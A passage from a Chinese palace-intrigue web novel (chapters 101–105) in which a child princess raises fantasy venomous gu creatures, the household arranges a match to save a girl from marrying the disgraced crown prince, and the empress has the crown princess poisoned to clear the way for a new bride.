元嬷嬷笑了笑,看着她的眼神多了几分温度:“那是因为,郡主宽厚待下,幻蝶这丫头的命已经很苦了,皇帝也不忍心她再受磋磨,思来想去,还是觉得幻蝶只有跟在郡主身边,才不会受委屈。” 唐蕊:“!!” 哟? 她这算是得到官方认证了吧? 既然是皇帝的意思,唐蕊也不能不给面子:“行吧,本郡主就收下了。” “郡主纯善,实在难得!”元嬷嬷真心实意夸了一句。 幻蝶也磕头感谢唐蕊给了她一处容身之地。 天聊完了,该干活了! 元嬷嬷说变脸就变脸,让唐蕊顶着茶碗,来回走了一个多时辰。 茶碗里的水还不能洒出来! 唐蕊:“…”这老太太是真有毒哦! 被折腾了一上午的唐蕊送走了老太太,有气无力趴在床上。 容嬷嬷心疼坏了,立刻让人上了很多好吃的。 唐蕊啃了几个大鸡腿,这才感觉活了过来。 过后,又把院里的人全部叫来,向他们介绍幻蝶。 说简单点,以后翠微阁,容嬷嬷还是保持绝对的话语权。 过后就是幻蝶和妙珠,同为一等大丫头! 幻蝶也没想到唐蕊愿意让她做一等丫头,又跪下给唐蕊磕头。 “别动不动就跪,我这没这样的规矩,以后你好好做事,不懂的多问容嬷嬷,至于你期待的那一天,会来的。” “是…奴婢…叩谢郡主!” 幻蝶很是感动,并暗暗发誓以后一定要好好伺候唐蕊,把这里当成自己的新家。 … 同一时间,大殿上,皇帝屏退左右,只留下了司徒澈,并问起了唐蕊那些止血粉的来历。 司徒澈想起唐蕊的揣测,还是问出了口:“父皇不如先告诉儿臣,为何要一次次纵容太子?真的只是为了母后吗?” 皇帝老脸一黑,瞪着他道:“不是为了你母后,还能为谁?朕对你母后的心天地可鉴,难道你还不知道吗?” 司徒澈仔细的观察着他的表情… 啧… 不像撒谎啊! 司徒澈皱眉道:“母后明显偏心太子,太子又难堪大任,父皇难道真要把皇位传给太子?” “…”都踏马来听听,也就这个儿子敢跟他这么说话了。 皇帝瞥了他一眼,不怒自威:“大胆!” 殊不知,他这个样子,只能唬唬别的王爷,根本就唬不到司徒澈。 司徒澈单膝跪下,很是执拗:“儿臣不是自己想坐这个位置,只要不是太子,三哥五哥六哥谁都可以,儿臣所想不为别的,而是为了大夏百姓。难道父皇把母后,看得比百姓江山还重吗?” 皇帝沉吟良久良久…最终叹息道:“你说对了!” 司徒澈闻言不可置信的看着皇帝。 皇帝往龙椅一靠,眼神看向虚空,似乎在回忆着什么:“朕这一生,自诩矜矜业业,为了百姓,为了司徒家的江山,可以舍弃一切。但唯有你母后,是朕唯一的软肋。老七,你知道吗?朕还想过,舍弃这个皇位,带着你母后走遍千山,隐居荒野,做一对恩爱夫妻,只有彼此。可惜…唉…” 皇帝摇摇头,长叹一声:“命不由人啊…朕的皇位最终只会传给你,这点你放心,至于你母后的事,就别提了。” 司徒澈:“…”又来了又来了,这熟悉的莫名其妙摸不着头脑的话。 还有,真爱皇后,还会找那么多皇后周边吗? 司徒澈觉得自己好像永远都看不懂自家老爹。 皇帝不想再继续这个话题:“昭华和神医谷到底什么关系?还要继续瞒着朕?” 司徒澈:“昭华…是神医最小的弟子,没来王府时,就一直住在神医谷!” “哦?”皇帝闻言眼睛一亮:“此话当真?” 司徒澈一看他这样如临大敌:“父皇,先说好,昭华医术一般,更没有什么长生不老的神药,您可别多想。” 皇帝闻言老脸一黑:“还要你说?朕是那种无视天理伦常之人吗?” 生老病死,这是天理。 人老而不死,视为妖邪! 他好歹是一国之君好不好? 就算传闻神医谷有长生不老药,他也没兴趣。 “朕只是想问问昭华,那种止血粉的配方有没有,能不能用到军中!” “哦,儿臣问过了。” 司徒澈从怀里摸出一个单子:“这就是那止血粉的配方!” 皇帝赶紧接过,看了一眼,神色大喜:“好,好,有了这些止血药,我大夏男儿的生死也有保障了。对了…” 皇帝说到这,又严肃着脸叮嘱他:“昭华与神医谷的事,不可外传,特别是你母后,不要告诉她!” 司徒澈:“…”你有病吧? 不是说喜欢母后喜欢得要死吗? 怎么又防着母后了? 司徒澈不理解,皇帝也不解释,收好配方直接让他滚蛋了。 完全诠释了什么叫卸磨杀驴! … 时间荏苒,能抹去一切伤痕。 但伤口哪怕愈合,也会留下痂。 买官卖官的事结束后,太子还是太子,名声却彻底臭了。 毕竟明眼人都知道怎么回事。 很多本来跟太子亲近的大臣,此时纷纷远离了他。 皇帝更是找了个太子要尽孝的由头,让他在东宫抄写佛经,上朝都不必了。 秦芷媃也很不好过,奸生子的名头响彻京城,成了贵圈妇人茶余饭后的笑料。 何家满门抄斩这事更是大大刺激了她,听说隐隐有疯癫之样,天天在东宫大吵大闹! 于是,皇后开设百花宴,给贵圈所有适龄的未婚女子下了帖子。 谁不是人精啊? 一看这就知道,是皇后要重新给太子选太子妃了。 至于秦芷媃,都已经疯了,估计也离死不远了。 咱们这皇后可不是心慈手软的主,说不准秦芷媃这疯病,都是皇后的手笔呢! 这件事本来跟璃王府没有关系。 秦芷嫣除了秦芷媃没有别的姐妹,顾若雪家里也只有她一个独女。 张庶妃更别说了,父母死绝,就剩她一个。 李庶妃…拉倒吧,士农工商,她这个皇商嫡女都会被太子嫌弃,家里那些个庶女姐妹更是没资格,都没有收到帖子。 只有朱侧妃,家世不错,还有个待嫁的老妹朱妙婈。 收到帖子那一天,她的老母亲带着朱妙婈登门了。 第101章 但…咱们去哪儿给那位朱小姐找个王爷啊? 朱妙婈眼眶红红,朱母着急得不行:“玉娆,你能不能帮帮忙?不能…不能眼睁睁的看着你妹妹往火坑里跳啊!” 朱侧妃听完满脸不可置信:“不是,妹妹前些天不是跟礼部尚书家那小子定下来了吗?皇后为什么还把帖子下到咱家去?” 别跟她说皇后不知道这消息,怎么可能! 这事儿两家人又没瞒着,只要皇后一打听就会知道的! 朱母左右看了看,朱侧妃秒懂,立刻让婢女们都退了出去。 等到屋里没人后,朱母才低声道:“你父亲猜测是为了银子。” “银子?”朱侧妃一时间有些没听懂:“什么银子?” 朱母恨铁不成钢瞪了一眼她的脑子,完全忘记自己当初听说这事的时候,也完全搞不懂,还是朱父点醒她的:“哎呀,你爹是户部尚书,谁不知道户部是肥差?谁又相信你爹真的不贪?你父亲推测,太子以前靠着买官卖官,赚了不少,现在这条路被斩断了,只能想别的出路,这才盯上了你妹妹。” 朱侧妃惊呆了:“不是,他们也太不要脸了吧?那太子是个废物吗?想要银子就自己赚去啊,怎么老惦记女人家的银子?” 朱母脸色一沉:“闭嘴,别乱说话!” “这里又没人,我怕什么?太子就不是个东西,我呸呸呸!”朱侧妃对太子越发不满了。 朱妙婈也拉着她的手,泪眼汪汪:“长姐,本来我也不想麻烦你的,可我真的是没办法了,放眼整个朝堂,也只有璃王不惧太子。求求你,帮帮我,我和礼部尚书家的公子已经定亲,生是楚家人死是楚家鬼,一女不能侍二夫啊!” “哎呀,你别急,王爷现在不在府里,你们先回去,等王爷回来了,我跟他说说这事,看能不能想个办法。”怕母女俩担心,朱侧妃又补充了一句:“你们放心,王爷乃真君子,最爱打抱不平,他不会坐视不理的。” 看她言辞凿凿,母女俩心下稍安,听话的回去等消息了。 然而,刚一到家,母女俩就发现家里气氛很不对劲。 朱母叫来侍婢一打听才得知,楚家的人刚走,还送来了退婚书。 朱母一听这话,眼前一黑,晕了过去。 朱妙婈感觉天都塌了,也很想眼睛一闭晕过去。 但朱母都晕了,她只能强打起精神,扶着朱母让人去叫府医,随后又派人把这个消息告知朱侧妃。 朱侧妃气得浑身发抖,拿着家书气呼呼的冲进了秦芷嫣的院子。 她来时,几个女人都在这,商议着铺子的事。 就连唐蕊都在。 见她这样子,唐蕊很是好奇:“朱庶母,你怎么了哦?” “还不是皇后和太子!欺人太甚,欺人太甚!” 朱侧妃噼里啪啦倒豆子一样,把这事告诉了几个女人,并哀求秦芷嫣:“姐姐,你快让人去叫王爷回来吧,妹妹我实在是没招了。” “你先别慌,别慌啊!”秦芷嫣面露为难:“这…我也不知道王爷去哪儿了啊!” 唐蕊这时举爪:“我知道哦,九皇叔今儿个回来,爹爹去城外接他了。明月,你快去找爹爹回来,要快哦!” “是!”空气中传来明月声音,带起一阵清风。 几个女人顿时放心下来。 只要司徒澈愿意管,就没有问题的,她们坚信。 谁都没发现,唐蕊此时小脸纠结,在考虑要不要说实话。 朱妙婈那个定亲对象真不咋地,能退婚也挺好的。 但是吧,嫁给太子,就不怎么好了。 … 司徒澈回来得很快,还带着久久未见的司徒泽! 这几个月,他都在外面替司徒澈寻找神医谷,晒得有些黑。 看到几个嫂嫂,还很规矩的拱手。 只是看到唐蕊后,立刻原形毕露,笑眯眯的掏出一把银票递给她。 唐蕊无语:“九皇叔,我有钱哦,你自己留着花吧!” “给你就收着,你九叔我别的没有,就是有点小钱。”司徒泽不由分说,应把银票塞唐蕊怀里。 李庶妃瞄了一眼,发现是百两面额的,顿时不屑的撇撇嘴。 但碍于司徒泽的身份,没有当场说他小家子气。 朱侧妃现在根本没心情开玩笑,一看到司徒澈就委屈巴巴倒豆子似的复述了一遍,又拉着他的手哀求:“王爷,您可要想想办法啊,我妹妹才十二,太子都多大了?可不能让他祸害我妹妹呀!” 司徒澈眉头紧锁:“这事不好办!” 他头上还有个皇后压着。 一个孝字大过天,不会让他插手的。 至于皇帝…拉倒吧,肯定会向着皇后。 就在司徒澈想办法的时候,唐蕊眼珠子一转:“这还不好办吗?给朱姐姐另外找个身份高贵的夫婿不就行啦?” 秦芷嫣无语:“除了父皇,谁的身份还高得过母后和太子?总不能,让妙婈进宫给父皇做妃子吧?” 先不说朱妙婈愿不愿意,父皇可是出了名的只收集皇后周边狂热者,也看不上和皇后没有一丝相似之处的朱妙婈呀! 更别说,朱妙姈才十二岁,嫁给皇帝,还不如嫁给太子呢! 至少,太子比皇帝年轻不是? 唐蕊嘿嘿一笑:“母妃,也不一定要身份高过皇奶奶和太子哦,几个王爷也是可以的嘛,一旦朱姐姐成了王妃,皇后总不能让太子去强抢臣弟媳吧?” 司徒泽摸着下巴点头:“这倒是个办法,但…咱们去哪儿给那位朱小姐找个王爷啊?” 这… 一群人回过味来了,纷纷转移视线看向司徒泽。 这不就是现成的,还是唯一一个没有王妃的王爷吗? 司徒泽也回过味来了,脸色一僵,后退一步干巴巴道:“不…不是吧?我今年也十九了,人家朱小姐才十二,你们要我老牛吃嫩草么?” 唐蕊小恶魔般嘿嘿笑:“大七岁而已,多正常呀?” 秦芷嫣拿出帕子按压着疯狂上扬的嘴角:“九皇弟确实挺合适的,与朱小姐年纪也相仿。” 顾若雪神色淡淡:“好歹是朱家嫡次女,做个王妃,资格是有的。” 朱侧妃猛点头:“对啊对啊,九皇弟,我那妹妹长得很好看,是我母亲精心培养的大家闺秀,娶了她,你绝对不会后悔的。” 第102章 吵醒我管我要尿? “…”虽然但是,可我不想成亲啊! 司徒泽张了张嘴,想要表明立场,李庶妃及时打断了他的话:“九皇弟,难道你有心仪之人?” 司徒泽立刻被她带偏了,嘴快道:“这倒没有,我就是…” “那不就结了?”张庶妃最后总结:“男未娶女未嫁,你们二人身份也合适,简直是天作之合。” “不是!”司徒泽终于找到机会反驳:“可我不想娶一个素未谋面的女子,我希望自己的王妃是心仪之人,就算她身份很低,出身农户商户,我也不介意。” 众人:“…” 你没睡醒呢? 你啥身份? 皇帝怎么可能让你娶商户与农户女? 就算皇帝答应,皇后不会借题发挥么?文武百官不会反对么? 什么小丑鸭变白天鹅,灰姑娘变王妃的故事都是假的。 小丑鸭会变成白天鹅,那是因为它本身就是天鹅蛋。 灰姑娘能变成王妃,那是因为她老爹有爵位。 古代最重阶级门户,司徒泽的想法根本就不切实际。 未来就算他喜欢上某个商户女或是农户女,那女子顶了天也只能是庶妃。 唐蕊不忍心打破司徒泽的美好幻想,中肯建议:“九皇叔,不如你先见见朱姐姐再说呗,说不准她就是你喜欢的类型呢?” 司徒泽闻言老脸一红:“人家是闺阁女子,我一个外男如何好见?” 朱侧妃赶紧道:“这还不简单,明日皇后娘娘开设百花宴,很多未婚女子都要入宫,九皇弟到时候也去凑凑热闹就是了。” “这…”司徒泽迟疑片刻,还是应了下来:“好吧!但我不能保证,一定会娶她!” 这件事就这么定了下来。 可朱妙婈却不知道,还沉浸在自己的伤心与忐忑中。 … 夜晚,唐蕊睡不着,坐在凉亭里和赤赤玩,顺便拿出顾楠聿送她的碧瑶埙吹奏,希望和赤赤培养出一点默契。 红色的小蛇很乖,但你要是以为它是脾气很好,那就大错特错了。 它的好脾气,是针对自己的主人唐蕊。 这不! 暗处的明月看到这一幕,立刻闪身出来,从怀里摸出一个纸包,打开放在赤赤面前。 里面是一根油汪汪的大鸡腿。 赤赤只是扫了一眼,就立刻收回视线。 虽然不会说话,但那两粒红色豆豆眼里满是嫌弃。 唐蕊也是无语了:“明月,赤赤只吃蛇虫鼠蚁,有毒的最好,不吃这个哦。” “我有!”明月又摸出一个纸包打开,里面是一只已经死掉的紫色大蜘蛛。 唐蕊看到这只蜘蛛,后知后觉转头看向自己墙角的陶罐。 果然,其中一个陶罐已经碎了。 “明月!”唐蕊生气了:“你居然偷我没炼成的蛊?” 赤赤似乎感觉到了唐蕊的情绪,二话不说对着明月弹跳而去,张开蛇口,露出尖细的獠牙。 还好明月速度快,及时避开,诧异的看着赤赤。 赤赤还想攻击,却被唐蕊逮住了:“别咬人!” 赤赤停下了攻击,却还是阴冷的看着明月,两粒豆豆眼里满是凶光。 明月也是个奇葩,不但不怕,反而更感兴趣了:“郡主,给我也炼只蛊,好不好?” “郡主,拜托了。” “求求了!” “郡主最好了!” 一点节操都没有! 唐蕊被他缠得没办法,只能实话实说:“不是我不帮哦,是我炼蛊的技术不够成熟,也不能保证每次都成功。” “试试就好,万一成功了呢!我真的想要!”就像赤赤这样的小家伙,太可爱了。 躲得远远的容嬷嬷和幻蝶:“…” 哪里可爱了? 听唐蕊说,这东西毒得很,一旦被咬到,一种名为火毒的毒液,就会伴随着卵液进入人的身体。 这个人会在未来七天之内,全身寸寸溃烂,时常觉得自己置身烤架上,由内而外大面积烧伤。 不仅如此,整个身体还会变成无数子蛊的窝。 等到七天过后,身体里所有子蛊长成,全都破体而出,人也彻底被活生生疼死。 不过很多人都坚持不到第七天,身体里就已经被烤熟了。 她俩活了这么多年,都没听说过如此歹毒的毒物。 什么砒霜鹤顶红,在它面前真的弱爆了! 明月却不这么觉得,还在哀求:“好郡主,求求了,试试嘛!” 唐蕊无语的看了他一会儿,终于答应下来:“好叭,那就试试。” 说做就做,唐蕊立刻跳下石凳,跑到那一排排陶罐面前,选了个炼制时间已经不短的:“步骤都知道叭?一会儿我迷晕它,你滴血进去哦。” 明月猛点头,眼睛晶晶亮! 唐蕊做过很多次,已经轻车熟路了,打开盖子快速洒药粉,再盖上盖子。 等了一会儿后,又打开盖子,让明月滴血进去。 做完这一切,她就把那个陶罐递给了明月:“没事多给它喂好吃的,什么最毒就喂什么,每隔七天还要滴一滴血进去。最后它会变成什么品种的蛊,我就不能保证啦。” 还好唐娆没在这,要是唐娆在这,听到自家闺女如此不专业的话,肯定要说教一番。 蛊术乃南蛮皇室代代相传,每一个拥有皇室血脉之人都是天生的蛊师。 可到了唐蕊这,怎么就变异了? 成与不成都看天意,还能再不靠谱一些吗? 明月却很相信,宝贝似的接过罐子,嘿嘿傻笑,爱不释手! 唐蕊白了他一眼,进屋睡觉! 她不知道的是,她刚进屋,明月就抱着罐子风风火火溜回了自己住处,还把已经睡着的清风给摇了起来。 清风睡眼朦胧,茫然的看着他,又看了看窗外漆黑的天:“明月,你干嘛?” 明月扯了扯嘴角,笑得阴森又僵硬:“我现在尿不出,你给我点尿?” 清风头顶浮现一个硕大的问号:“尿?你要我的尿做什么?” 还有,大半夜的,吵醒我管我要尿? 你确定自己没疯吗? 明月理直气壮:“你说过,最毒不过童子尿,我要你的尿浸泡我的大宝贝!” 清风:“??” 清风:“!!” 大…宝贝? 男人的宝贝,不就那一根儿吗? 隔了五六秒才反应过来的清风,当即抓过身边的枕头砸了过去:“滚,死变态!” 被砸得一脸懵逼的明月:“…” … 第103章 真相 同一时间,东宫! 宫门紧闭,烛火昏暗。 东宫之内,宫侍骤减。 微风拂过,枯黄的树叶随风而落,更显萧索。 太子把自己关在屋里,也不让人掌灯。 他的身边是两个已经空了的酒壶,平日里最重身份与形象的他,也不知道几日不曾换过衣服了,浑身散发着一股子难闻的气息。 凌乱的发丝垂落在额前,他那双曾经充满朝气与野心的眼眸,此刻只剩无尽的落寞与颓然。 虽然他还是太子,但他比谁都清楚,他完了! 父皇厌弃了他,他这个太子之位,也迟早会被父皇收回去。 司徒霄其实很多时候,也会冒出与司徒澈一样的疑惑。 都是皇帝的儿子,皇帝为何只偏爱司徒澈呢? 是,他是触犯了律法,但若是触犯律法的人不是他,而是司徒澈,皇帝还会厌弃他吗? 皇帝不会! 他只会想尽办法帮司徒澈脱罪。 明明一母同胞,皇帝眼里却从来都没有他,在耀眼夺目的司徒澈面前,他都被比成了渣。 他也会不甘,也会不服。 可父皇却从没温声安抚过他,更从没说过那句‘不愧是朕的儿子’。 反观司徒澈,从小到大受尽皇帝的宠爱。 他永远都不会忘记,年轻的时候,亲眼看到的皇帝和司徒澈相处的画面。 那时的司徒澈刚学会走路,不过是没站稳一屁股坐到了地上,皇帝都像是天塌了似的,几乎立刻冲了过去,亲手把他抱起来,用世上最温柔的语气安抚着。 可他呢? 明明就在旁边,皇帝却像是没看到他这个人似的。 哪怕他开了口,皇帝终于发现了他,也立刻给他表演了一个笑容消失术,并问:“你怎么在这?功课都会了吗?” “呵…” 司徒霄低低的笑出声来,自言自语喃喃着:“父皇,你真的好偏心啊!明明孤也是你的儿子,是你亲儿子啊!孤与司徒澈一母同胞,究竟哪里不同呢?为何你从不曾偏爱孤一分?” 就在这时,房门从外推开。 来人一身黑袍,身边的侍女拿着的灯笼,照亮了一室黑暗。 司徒霄抬手挡了挡光,适应后才抬眸看去。 黑袍人也拿下了兜帽,露出皇后那张风韵犹存的脸。 司徒霄愣愣的看着她;“母、母后?” 屋里一股酒味,皇后眉头直皱:“你这是做什么?” “母后…”司徒霄摇摇晃晃站起身来:“儿臣只是郁结难舒,所以才…” “没出息!”皇后怒斥一声,心里邪火直冒:“你是本宫的儿子,是大夏储君,看看你的样子,哪里还有个储君的样子,你真是让本宫失望。” 司徒霄闻言苦涩一笑:“父皇已经彻底厌了儿臣,儿臣这个储君还能做多久呢?” 皇后昂首挺胸,霸气侧漏:“只要本宫在一天,你就是大夏储君!就算是皇上,也不能废了你!” 司徒霄:“…”可这天下还是父皇的天下啊!你再受宠,还能左右一个君王的想法吗? 皇后冷哼一声,入内坐上高位,并扫了一眼身旁的安嬷嬷。 安嬷嬷秒懂,掏出一包药粉递给司徒霄:“太子殿下,这是最后的药,只要那小秦氏吃下去,就会悄无声息的消失。” 司徒霄迟疑片刻,却没有接:“母后,小秦氏已经疯了,没必要赶尽杀绝吧?” 虽然疯得不够彻底,但听下人说,秦芷媃每天清醒的时候越来越短,大多数时候都无神智,连潲水都想吃。 要不是下人及时拦住,她就真的吃了。 皇后冷冷一笑,眼底满是讥讽之色:“你不是不喜欢她?这会儿知道心疼了?” 司徒霄:“…”是不喜欢,可到底是他明媒正娶的太子妃,两人相处了这么多年,总有点情分在的。 见司徒霄不语,皇后笑脸一收,冷声开口:“一介庶女,要不是当初看在她嫁妆丰厚,娘家还算有点用的份儿上,怎配为一国储君正妃?无用的人没有存在的意义,现在她没了嫁妆傍身,何家也倒了,于你而言还有什么用?不赶紧处理了,如何给你的继妃腾位置?” 司徒霄垂下眼眸,还是有些不忍:“何家已经替我们背负骂名…” “闭嘴!”皇后一拍桌子怒道:“买官卖官之事都是何家所为,与本宫,与你,都无关系。” 司徒霄:“…” 外人都好奇,秦芷媃凭什么做太子正妃。 这就是原因! 丰厚的嫁妆只是最不重要的一点,重要的是何家早就暗中投靠了皇后与太子,一直在帮他们母子做事。 那些买卖官职的银子,最后也都入了皇后与太子兜里。 司徒霄此时不知道,如果可以,皇后也不想用何家的。 何家那么低的身份,根本就入不了她的眼。 但…皇帝是明君,百官拥护。 她能用的人着实不多。 皇后深吸几口气,冷静了一些后才继续开口:“成大事者不拘小节,为本宫与你背负骂名,那是他们的荣幸。你将来是要做帝王的人,不可心慈手软!” “是!”司徒霄说不过皇后,还是接过了那包药粉。 见他还是这么听话,皇后气顺了一些:“好好收拾一下自己,明日百花宴,本宫为你选好了能帮衬你之人,只要娶了她,就不愁银子。” 司徒霄皱眉:“不知母后所选是哪家贵女?” 皇后傲然一笑:“户部尚书嫡次女,朱妙婈!” … 寅时三刻,几家欢喜几家愁。 因为百花宴,很多贵女不得不早早起身,梳妆打扮。 有些女子很想要太子妃这个位置,光耀门楣。 可有些女子却一点都不感冒。 说脸吧,太子相貌只能说周正,别说与司徒澈相比,就算是跟辰王,晋王,都比不了。 说年纪吧,太子今年都多大了? 贵女们从小锦衣玉食,都是各大家精心培养出来的,什么好的没见过? 哪怕司徒霄贵为太子,她们也有些瞧不上。 最重要的是,明眼人都能看出,现在的太子已经被皇帝厌弃了,这太子之位还能坐多久,都不好说呢! 在所有贵女准备入宫时,东宫曾经的鸾荧殿却清清冷冷! 第104章 秦芷媃之死 这里是秦芷媃的院子,可现在却只有她一个人。 躺在睡了许多年的雕花拔步床上,秦芷媃只感觉自己的脑子昏昏沉沉,只能努力瞪大眼睛死死的瞪着虚空。 她知道自己现在有些不对劲,可到底是哪里不对劲,她也说不上来。 不知过了多久,直到天蒙蒙亮的时候,秦芷媃才后知后觉想起。 好像就是何家砍头那天,太子给她倒了一杯茶,她喝了之后就觉得有些不对劲了。 太子要害她? 意识到这件事,秦芷媃面露惊惧,吃力的起身,跌跌撞撞朝外跑去。 然而,她刚打开房门,一群宫婢就闯了进来。 她们与平时不一样,看着她的眼神里没有恭敬与惧怕,而是一种看死人的眼神。 为首的宫婢当着她的面,拿出一包药粉兑了水,狞笑着捏住她的嘴巴,全数倒进她嘴里:“太子妃,好好去吧,下辈子投胎记住了,不是你的富贵,不要奢求!” “咳咳咳…”秦芷媃瘫坐在地,不停的抠着自己的喉咙。 可那水已经入了腹了。 秦芷媃抬眸看着她:“你…你们想做什么?你们给我喝了什么?” “自然是好东西!今日皇后娘娘要给太子殿下选新的太子妃,您这位老人,自然也要给新人腾位置呀!”为首的宫婢笑得不怀好意。 “你…你说什么?不,本妃不信,本妃要见太子殿下!”秦芷媃如遭雷劈,说着说着就往外冲! 可那宫婢却一脚踹了过去,还好巧不巧踹中了她的小腹。 秦芷媃捂着小腹倒地不起,不过片刻,刺眼的血染红了她的下半身。 啊这… 宫婢们面面相觑,还有人问为首的宫婢:“她这是…有喜了?” “胡说什么?一个上不得台面的东西,谁知道她肚子里的野种是谁的?”为首的宫婢翻了个白眼:“走吧,太子殿下还等着我们复命呢!” 宫婢们一听这话不再多言,有几个心软的,最多也只能给秦芷媃一个同情的眼神,转身离去。 “不,不要,我可是太子妃啊…我肚子里的是太子的骨肉,我要见太子,我要见太子…”秦芷媃声泪俱下,死死的伸着手,却没有丝毫办法。 她能感觉到腹中生命逐渐微弱,她甚至能感觉到自己命不久矣。 即便如此,她还是不想死。 她如狗一样,拼尽全力往外爬,嘴里正不断溢出血来,视线也开始模糊了:“太子,殿下…我怀了你的骨肉啊,你不是…不是很想要嫡子吗?为什么?为…什么…” 就在这时,一双小巧的短靴出现在她面前。 秦芷媃还以为是太子,抬眸努力想要看清面前的人。 然而,当视线清晰后,映入她眼底的却是司徒嫱的脸。 司徒嫱毫不掩饰自己的幸灾乐祸:“哎呀呀,这不是我那自诩尊贵的母妃么?怎么跟狗一样在地上爬呀?” 秦芷媃尽量忽略她的神色,一把抓住了她的衣摆:“嫱儿,我…我要见你父王…啊…” 话还没说完,司徒嫱就一脚踹开了她的手。 还不等秦芷媃反应过来,司徒嫱一脚踩在她脸上,居高临下的看着她:“见我父王?你算什么东西?我呸!” 秦芷媃不可置信的看着她,气得浑身发抖,声嘶力竭大喊:“嫱儿,你…你敢这么对我?我是你的母妃!” “什么母妃,我可是太子的长女,你一个庶出的贱人也配?笑死人了,平时让着你点,你还真当自己是太子妃了?”小巧的靴子踩在她脸上,脚尖不停用力碾着。 秦芷媃浑身剧痛,不停溢血,根本就没有力气挣脱,眼泪混合着血水,心中满是绝望! 这一幕,何其熟悉? 还在闺阁时,她也带着奴仆如此欺辱过秦芷嫣。 原来,这么疼的吗?这么痛苦的吗? 那时的秦芷嫣,是不是也与现在的她一样,恨不得立刻死了才好? “秦芷媃,现在的你对我父王而言没用了,东宫不留无用之人。你啊,就好好在这里等死吧!哈哈哈…” 司徒嫱羞辱完秦芷媃,哈哈大笑心满意足的离开了。 听着她渐行渐远的笑声,秦芷媃眼前已经阵阵发黑了。 她真的会死! 可是,好不甘心! 她做错了什么? 为什么要落得这样的下场? 不知过了多久… “母妃,母妃,你还好吗?”稚嫩的男童声音在耳边响起。 秦芷媃吃力的睁开眼眸,眼前出现的竟然是司徒谨的脸。 他的脸色很苍白,也是…受了刀伤,一直在床上躺着休养呢,也是近两天才开始下床走动。 秦芷媃看了看外面已经大亮的天色,神色有些恍惚:“你怎么来了?伤好了么?” 她的身体已经很疼,五脏六腑都疼,可疼着疼着,好像也习惯了。 若是唐蕊在这里,就能一眼看出,秦芷媃是回光返照! 她真的要死了! 司徒谨哭着摇头:“儿子听大姐说,你快死了,所以就来了。母妃,儿子这就为你叫太医。” “不必了…”秦芷媃刚刚做了一个梦,梦到了很多。 从小到大,所有一切如走马观灯一般出现在她眼前。 再看来时的路,秦芷媃总结了一下,她还真不是什么好人。 死也是应该的! 只是有点小遗憾… “我还没…跟芷嫣说声…对不起…”秦芷媃抓住司徒谨的衣袖:“你能…帮我吗?” “七皇婶…”司徒谨突然想过来:“母妃,七皇婶此时也在宫中参加百花宴,你坚持一下好不好?儿子这就让人去找她来!” “她不会…想看到我…你帮我…就好…还有…告诉她…” 秦芷媃凑到他耳边,用尽最后力气说了一句话… …一只蛾子飞了进来,不慎掉落茶壶,扑腾几下后,没了反应。 秦芷媃也如这蛾子一样,说完最后这一句话,脑袋一歪,没了声息。 她的眼睛瞪得老大,死不瞑目。 司徒谨落下泪来,顾不得那句话给他带来的震惊和疑惑,颤抖的抬起手,替她合上眼眸:“母妃,我一定会帮你把这话带给七皇婶的。” 第105章 皇爷爷都不让我跪了,你还要让我跪 说罢,他吃力的把秦芷媃拖回床上,替她整理好衣着,以及凌乱的发丝。 最后,他退后几步,对着秦芷媃的遗体跪下,郑重其事磕了三个响头,这才擦掉眼泪往外跑去。 或许秦芷媃不是一个好母亲,但平时也没少了他的吃喝。 看在父王的面上,更不敢对他这个唯一的儿子做什么。 司徒谨和司徒嫱不一样,生母去得早。 秦芷媃不温柔,也不算慈母,更不会像其他母亲那样,温声细语跟他说话。 但秦芷媃的到来,填补了她没有母亲的遗憾。 大夏最重孝道,对司徒谨来说,秦芷媃是太子明媒正娶的太子妃,也是他名正言顺的母亲。 现在她死了,心里说不难过是假的。 以后,他又变成没有母亲的孩子了。 … 百花宴热闹非凡,各家贵女如御花园娇艳的花朵一般。 秦芷嫣却无暇欣赏,正襟危坐。 顾若雪笑道:“姐姐,你别这么紧张!” 硬跟来的唐蕊也猛点小脑瓜:“对哦对哦,母妃,你可是璃王妃,拿出你的气势来。” 秦芷嫣苦笑:“面对别人我倒是能有气势,面对皇后,我哪敢有气势?若不是王爷的正妃,我是巴不得一辈子都不进宫来。” 阳奉阴违已经让皇后对她很不满了,巴不得寻个错处搞死她呢! 可这种场合,她作为儿媳妇,不来也不行啊! 顾若雪安抚道:“我乃顾家女,皇后也要给顾家几分颜面,有我帮衬着,她不会当众为难你的。” 没办法,家里人给力,就是这么自信! 秦芷嫣叹息:“唉…但愿吧…” 没一会儿,皇后在一溜串的宫女与太监的簇拥下来了,各家贵女齐齐起身行礼。 皇后笑着让大家坐下,说了几句场面话。 然而,当她看到秦芷嫣的时候,笑脸慢慢收敛:“舍得进宫来了?本宫还以为你眼里没有本宫这个婆婆呢!” 秦芷嫣赶紧起身,努力卖乖:“母后,您这说的什么话呀?只是府中诸事繁忙,一直不得空而已,您可是儿媳最敬重之人,儿媳哪敢怠慢呢!” “呵…但愿吧…”皇后皮笑肉不笑瞥了她一眼,看向顾若雪时,眼底浮现出一丝笑意与刻意的亲近:“若雪也来了?” 顾若雪规规矩矩福了福身子:“母后万安,妾身本不该来的,可昭华一直说想皇奶奶了,妾身担心姐姐一个人照料不过来,也跟着来了。” 皇后闻言视线最终落到了唐蕊身上,哼笑一声:“一个私生女,还不配做本宫的孙女。” 唐蕊暗地里翻了个白眼! 你以为我稀罕哦? 顾庶母找的借口而已,你这智商多低下才听不出来? 给我一个孩子没脸,心眼真小! 皇后说罢,见顾若雪面露尴尬,又笑着多说了一句:“若雪生的孩子,才是本宫嫡亲的孙儿呢!” 顾若雪:“…” 以为我跟你儿子一样是个傻子么? 说这话,不就是想引起我和秦芷嫣内斗嘛! 顾若雪看了秦芷嫣一眼,果然见她一脸难堪的样子,于是笑着开口:“皇后娘娘偏爱妾身,也不能越过姐姐去呀,姐姐才是王爷明媒正娶的王妃呢,她的孩子,才是您的嫡亲孙儿。” 本以为都递了台阶了,皇后应该会乖乖下来了。 谁知… 皇后斜睨了秦芷嫣一眼,毫不留情道:“要不是她蒙蔽本宫,这个正妃哪里轮得到她。” 顾若雪:“…” 秦芷嫣听不下去了,周围很多闺女都注意到了这边的动静,她感觉自己像个被扒光衣服的小丑似的。 就在她想找个借口离开的时候,奶声奶气的惊呼声响起:“哇!皇奶奶,您连由庶变嫡的太子婶婶都看得上,竟然看不上我母妃这堂堂永安侯嫡女,许家嫡亲的外孙女哇?您的眼光好高哦!” 一直注意这边动静的贵女们仔细一想,也是哦。 秦芷媃是个上不得台面的,可秦芷嫣的身份是真的高。 皇后连她都看不上,那她们这些闺女呢? 